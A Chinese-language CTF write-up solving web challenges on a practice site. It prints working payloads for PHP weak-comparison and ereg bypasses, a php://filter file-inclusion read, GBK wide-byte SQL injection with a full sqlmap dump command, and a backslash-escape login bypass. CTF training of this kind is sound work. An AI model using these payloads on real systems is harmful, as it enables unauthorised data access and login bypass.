签到题
key在哪里?
md5 collision
php弱类型比较 0e开头的值全相同
签到题2
提示输入口令,但是发现只能输入10位,修改长度
这题不是WEB
保存图片,winhex打开
层层递进
这题太狗了,这谁能想得到
AAencode
查看源代码可能有乱码,是编码问题,改一下编码
火狐在这里改
其他浏览器啊帖链接
浏览器改编码
直接在控制台里运行
单身二十年
抓包发现中间有一个php,直接看响应
php decode
给了代码,将eval改成echo,直接拿flag
这里贴另一个帖子,eval改echo不成功的解决方法(与本题无关)
传送门
文件包含
看到这个URL file=是文件包含
文件包含
XXXXXXXX?file=php://filter/read=convert.base64-encode/resource=xx.php
之后base64解密
解码得flag
单身一百年也没用
这次有一个index.php flag就在响应里
Download~!
这题挂了
COOKIE
将cookie里的login改为1
MYSQL
首先是这个页面
我们都知道robots.txt反爬虫目录,进去看看
一个简单的代码sq1.php
get方法上传id
intval是取整数的函数
id=GET[id]的整数部分
然后在数据库里查询id
下面有一个
过滤了GET[id]=1024,于是我们猜flag就在id=1024里
现在id是GET[id]的取整
意味着我们构造GET[id]=1024.1绕过
取整后id=1024
即不影响查询又可以绕过
我们试一试
GBK Injection
宽字节注入
单引号会被转义为\ ’
于是我们在前面加上%df
变成id=%df’
转义之后是%df \ '编码为%df%5c%27
%df%57会被认为是一个中文“運”
这样单引号之前的转义符号“\”就被吃调了,变成了“運’”转义失败,我们就绕过了
之后sqlmap跑就是了
python2 sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover -T gbksqli -C flag --dump
/x00
这题是ereg函数绕过进去就给源码
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
传进去一个nctf参数,要是数字,同时又要在里面有#biubiubiu,看起来好像很矛盾,但是有个ereg函数在
两个方法
第一个
%00截断,ereg函数解析到%00时会自动认为字符串已经结束,所以就能绕过第一个检测同时符合第二个了
第二个
传入数组,因为ereg处理数组会报null,第一个判断为假,所以刚好绕过了,而且strpos检测的也是报null,不等于false,也绕过了,就能出flag了
bypass again
很简单的弱类型比较,去找两个MD5值都是0e开头的字符串赋值给a,b
贴一个别的师傅总结的弱类型总结
SQL Injection
首先看源码
<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
-->
首先看这个clean函数
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
get_magic_quotes_gpc()判断magic_quotes_gpc是否打开的
当 magic_quotes_gpc 打开时,所有的 ‘ (单引号), ” (双引号), (反斜线) and 空字符会自动转为含有反斜线的溢出字符。
如果打开了,用stripslashes()删除反斜杠
其实想一想会发现这两句的效果就是不转义。。。。。
实现转义的其实是下面这个函数
htmlentities()
[外链图片转存失败(img-YefOjcuO-1563720454617)(en-resource://database/585:1)]
这个函数的返回值是htmlentities($str, ENT_QUOTES)
也就是转义单双引号
简单测试一下
<?php
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$str=@clean((string)$_GET['x']);
echo htmlentities($str);
?>
当我们输入x='和x="
好的现在单双引号没用了
继续看
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
4-7行是连接数据库操作,不用看
前两行是获取两个变量username和password并转义单双引号
我们看这个查询语句
SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
\是转义字符
所以我们可以将这个语句变成这样
SELECT * FROM users WHERE name='.$username.' AND pass='.$password.';';
我们要做的就是让这个语句返回值为1
查询语句以往都是构造例如admin’ #这样的
但这题把引号都转义了
只能换另外的思路
(看大佬们的 )
我们这样构造?username=\ &password=or 1 %23
%23是#的url编码
我们将两个值放入查询语句里
SELECT * FROM users WHERE name='\' AND pass='or 1 %23';';
这样就把name后的第二个单引号转义了
查询语句变成了
SELECT * FROM users WHERE name=' AND pass='or 1 %23';';
name的值变成了AND pass= 后边跟着or 1
返回值就变成1了
其实有个问题没搞懂
就是为什么要用%23而不是#
这是用%23时的url
http://chinalover.sinaapp.com/web15/index.php?username=&password=or 1 %23
这是用#时的url
http://chinalover.sinaapp.com/web15/index.php?username=&password=or 1 #
应该是url编码的问题
用post的话用#就可以,但这个题是get